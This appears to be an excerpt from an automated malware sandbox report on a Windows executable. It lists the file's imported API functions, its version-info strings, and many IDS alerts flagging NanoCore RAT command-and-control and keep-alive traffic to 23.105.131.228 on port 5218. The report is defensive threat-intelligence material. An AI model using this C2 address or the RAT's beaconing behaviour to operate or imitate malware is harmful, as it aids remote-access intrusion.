ADVAPI32.dll	RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
SHELL32.dll	SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
ole32.dll	OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Create, ImageList_Destroy, ImageList_AddMasked
USER32.dll	GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
GDI32.dll	SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
KERNEL32.dll	GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, CreateFileW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

Version Infos

Description	Data
LegalCopyright	Precept
FileVersion	1.24.4
CompanyName	mimicismudsl
LegalTrademarks	STAV
Comments	Overwashv50
ProductName	SEMI
FileDescription	Bortadopte
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.2023.105.131.2284980552182816766 05/25/22-16:30:31.751555	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49805	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981552182816766 05/25/22-16:31:33.404683	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49815	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984852182816766 05/25/22-16:34:13.846527	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49848	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981852182816766 05/25/22-16:31:52.701193	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49818	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984552182816766 05/25/22-16:33:55.542675	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49845	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980852182816766 05/25/22-16:30:50.298729	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49808	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981252182816766 05/25/22-16:31:15.327532	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49812	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980252182816766 05/25/22-16:30:12.634320	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49802	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977452182816718 05/25/22-16:27:24.086527	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49774	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979452182816718 05/25/22-16:29:22.407860	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49794	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983852182816766 05/25/22-16:33:12.305367	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49838	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978152182816718 05/25/22-16:28:01.588003	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49781	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979952182816766 05/25/22-16:29:54.854199	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49799	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984552182025019 05/25/22-16:33:53.705193	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49845	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284974852182025019 05/25/22-16:26:46.864576	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49748	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984852182025019 05/25/22-16:34:12.263748	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49848	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979252182816766 05/25/22-16:29:11.008493	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49792	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978952182816766 05/25/22-16:28:50.992111	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49789	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978252182816766 05/25/22-16:28:07.909556	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49782	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983852182025019 05/25/22-16:33:10.498232	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49838	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977552182025019 05/25/22-16:27:28.453733	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49775	5218	192.168.11.20	23.105.131.228
23.105.131.228192.168.11.205218498512841753 05/25/22-16:34:36.244631	TCP	2841753	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound)	5218	49851	23.105.131.228	192.168.11.20
192.168.11.2023.105.131.2284979552182025019 05/25/22-16:29:28.100659	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49795	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983252182816766 05/25/22-16:32:41.208691	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49832	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978552182025019 05/25/22-16:28:24.771071	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49785	5218	192.168.11.20	23.105.131.228
23.105.131.228192.168.11.205218497592841753 05/25/22-16:27:00.103276	TCP	2841753	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound)	5218	49759	23.105.131.228	192.168.11.20
192.168.11.2023.105.131.2284979052182816766 05/25/22-16:28:57.526142	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49790	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980852182025019 05/25/22-16:30:48.603212	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49808	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981852182025019 05/25/22-16:31:51.045279	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49818	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284974952182816766 05/25/22-16:26:55.057687	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49749	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284982252182816766 05/25/22-16:32:17.506541	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49822	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984752182025019 05/25/22-16:34:05.952772	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49847	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979852182816766 05/25/22-16:29:48.637027	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49798	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284975952182816766 05/25/22-16:27:00.103543	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49759	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977952182816766 05/25/22-16:27:49.167335	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49779	5218	192.168.11.20	23.105.131.228
23.105.131.228192.168.11.205218498172810290 05/25/22-16:31:45.092800	TCP	2810290	ETPRO TROJAN NanoCore RAT Keepalive Response 1	5218	49817	23.105.131.228	192.168.11.20
192.168.11.2023.105.131.2284983752182025019 05/25/22-16:33:04.168009	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49837	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984252182816766 05/25/22-16:33:37.063051	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49842	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980452182816718 05/25/22-16:30:24.424049	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49804	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978352182025019 05/25/22-16:28:12.382304	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49783	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977352182025019 05/25/22-16:27:16.213770	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49773	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978052182816766 05/25/22-16:27:55.336603	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49780	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981452182816766 05/25/22-16:31:27.677259	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49814	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983452182816766 05/25/22-16:32:53.455056	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49834	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978052182025019 05/25/22-16:27:53.470678	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49780	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981952182816766 05/25/22-16:31:58.993113	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49819	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984152182816718 05/25/22-16:33:29.977439	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49841	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979052182025019 05/25/22-16:28:55.697451	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49790	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979352182025019 05/25/22-16:29:15.457432	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49793	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980952182816766 05/25/22-16:30:55.689976	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49809	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284982252182816718 05/25/22-16:32:16.717000	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49822	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984452182816766 05/25/22-16:33:49.422646	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49844	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978152182025019 05/25/22-16:27:59.670880	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49781	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979152182025019 05/25/22-16:29:03.014507	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49791	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981752182816766 05/25/22-16:31:46.470211	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49817	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984752182816766 05/25/22-16:34:07.795147	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49847	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983752182816766 05/25/22-16:33:05.936139	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49837	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980652182816766 05/25/22-16:30:38.113236	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49806	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978252182025019 05/25/22-16:28:06.138718	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49782	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981652182816766 05/25/22-16:31:40.194825	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49816	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979252182025019 05/25/22-16:29:09.264603	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49792	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983652182816766 05/25/22-16:32:59.707817	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49836	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284982652182816766 05/25/22-16:32:23.833819	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49826	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984652182816766 05/25/22-16:34:01.648187	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49846	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980752182816766 05/25/22-16:30:44.246974	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49807	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979452182816766 05/25/22-16:29:23.408734	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49794	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978452182816766 05/25/22-16:28:20.281595	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49784	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981052182025019 05/25/22-16:31:01.082735	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49810	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284982052182025019 05/25/22-16:32:03.376767	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49820	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979752182816766 05/25/22-16:29:42.453149	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49797	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284985052182025019 05/25/22-16:34:24.645932	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49850	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981352182025019 05/25/22-16:31:19.726151	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49813	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984652182025019 05/25/22-16:33:59.917803	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49846	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977452182816766 05/25/22-16:27:24.106124	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49774	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983052182025019 05/25/22-16:32:28.339078	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49830	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980352182025019 05/25/22-16:30:17.769659	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49803	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984052182025019 05/25/22-16:33:22.875676	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49840	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284976752182025019 05/25/22-16:27:04.846136	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49767	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983652182025019 05/25/22-16:32:58.020068	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49836	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979752182025019 05/25/22-16:29:40.806456	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49797	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980652182025019 05/25/22-16:30:36.339999	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49806	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284982652182025019 05/25/22-16:32:22.102445	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49826	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984952182025019 05/25/22-16:34:18.439602	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49849	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978752182816766 05/25/22-16:28:38.133818	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49787	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978752182025019 05/25/22-16:28:37.063244	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49787	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981652182025019 05/25/22-16:31:38.474206	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49816	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983052182816766 05/25/22-16:32:30.129444	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49830	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977452182025019 05/25/22-16:27:22.348086	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49774	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978452182025019 05/25/22-16:28:18.576555	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49784	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981952182025019 05/25/22-16:31:57.191772	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49819	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284985052182816766 05/25/22-16:34:26.408613	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49850	5218	192.168.11.20	23.105.131.228
23.105.131.228192.168.11.205218498312841753 05/25/22-16:32:34.844440	TCP	2841753	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound)	5218	49831	23.105.131.228	192.168.11.20
192.168.11.2023.105.131.2284983952182025019 05/25/22-16:33:16.763494	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49839	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284976752182816766 05/25/22-16:27:06.607242	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49767	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984052182816766 05/25/22-16:33:24.678606	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49840	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983352182816766 05/25/22-16:32:47.320512	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49833	5218	192.168.11.20	23.105.131.228
23.105.131.228192.168.11.205218498002810290 05/25/22-16:29:59.624575	TCP	2810290	ETPRO TROJAN NanoCore RAT Keepalive Response 1	5218	49800	23.105.131.228	192.168.11.20
192.168.11.2023.105.131.2284981352182816766 05/25/22-16:31:21.456707	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49813	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979452182025019 05/25/22-16:29:21.751685	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49794	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980952182025019 05/25/22-16:30:54.829029	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49809	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981552182816718 05/25/22-16:31:32.812110	TCP	2816718	ETPRO TROJAN NanoCore RAT Keep-Alive Beacon	49815	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980452182816766 05/25/22-16:30:25.689265	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49804	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984352182816766 05/25/22-16:33:43.265564	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49843	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983952182816766 05/25/22-16:33:18.245419	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49839	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984952182816766 05/25/22-16:34:20.172443	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49849	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979152182816766 05/25/22-16:29:04.010879	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49791	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978152182816766 05/25/22-16:28:01.588003	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49781	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977152182816766 05/25/22-16:27:11.283267	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49771	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980352182816766 05/25/22-16:30:18.720362	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49803	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980052182025019 05/25/22-16:29:59.232879	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49800	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284974852182816766 05/25/22-16:26:48.681674	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49748	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980752182025019 05/25/22-16:30:42.432914	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49807	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284985152182816766 05/25/22-16:34:32.377118	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49851	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977652182025019 05/25/22-16:27:34.857766	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49776	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979652182025019 05/25/22-16:29:34.496572	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49796	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981752182025019 05/25/22-16:31:44.732801	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49817	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978652182025019 05/25/22-16:28:30.959545	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49786	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978852182816766 05/25/22-16:28:44.949511	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49788	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977852182816766 05/25/22-16:27:42.950814	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49778	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983152182816766 05/25/22-16:32:34.844642	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49831	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984152182816766 05/25/22-16:33:30.661382	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49841	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983452182025019 05/25/22-16:32:51.785059	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49834	5218	192.168.11.20	23.105.131.228
23.105.131.228192.168.11.205218498442810290 05/25/22-16:33:47.960213	TCP	2810290	ETPRO TROJAN NanoCore RAT Keepalive Response 1	5218	49844	23.105.131.228	192.168.11.20
192.168.11.2023.105.131.2284980152182025019 05/25/22-16:30:05.428634	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49801	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984452182025019 05/25/22-16:33:47.586034	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49844	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284974952182025019 05/25/22-16:26:53.269482	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49749	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284975952182025019 05/25/22-16:26:59.829388	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49759	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981152182025019 05/25/22-16:31:07.278886	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49811	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284982152182025019 05/25/22-16:32:09.548587	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49821	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979352182816766 05/25/22-16:29:17.137280	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49793	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284982152182816766 05/25/22-16:32:11.284736	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49821	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284984152182025019 05/25/22-16:33:29.043736	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49841	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981152182816766 05/25/22-16:31:09.026560	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49811	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284983152182025019 05/25/22-16:32:34.588426	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49831	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284985152182025019 05/25/22-16:34:30.894473	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49851	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978352182816766 05/25/22-16:28:14.229320	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49783	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980152182816766 05/25/22-16:30:07.044829	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49801	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284980252182025019 05/25/22-16:30:11.623216	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49802	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977352182816766 05/25/22-16:27:18.010840	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49773	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977652182816766 05/25/22-16:27:36.667274	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49776	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284977852182025019 05/25/22-16:27:41.011477	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49778	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978852182025019 05/25/22-16:28:43.166698	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49788	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284978652182816766 05/25/22-16:28:31.884971	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49786	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284979652182816766 05/25/22-16:29:36.135757	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49796	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284981252182025019 05/25/22-16:31:13.574908	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49812	5218	192.168.11.20	23.105.131.228
192.168.11.2023.105.131.2284982052182816766 05/25/22-16:32:04.963064	TCP	2816766	ETPRO TROJAN NanoCore RAT CnC 7	49820	5218	192.168.11.20	23.105.131.228
23.105.131.228192.168.11.205218497792810290 05/25/22-16:27:47.647887	TCP	2810290	ETPRO TROJAN NanoCore RAT Keepalive Response 1	5218	49779	23.105.131.228	192.168.11.20
192.168.11.2023.105.131.2284981552182025019 05/25/22-16:31:32.395920	TCP	2025019	ET TROJAN Possible NanoCore C2 60B	49815	5218	192.168.11.20	23.105.131.228
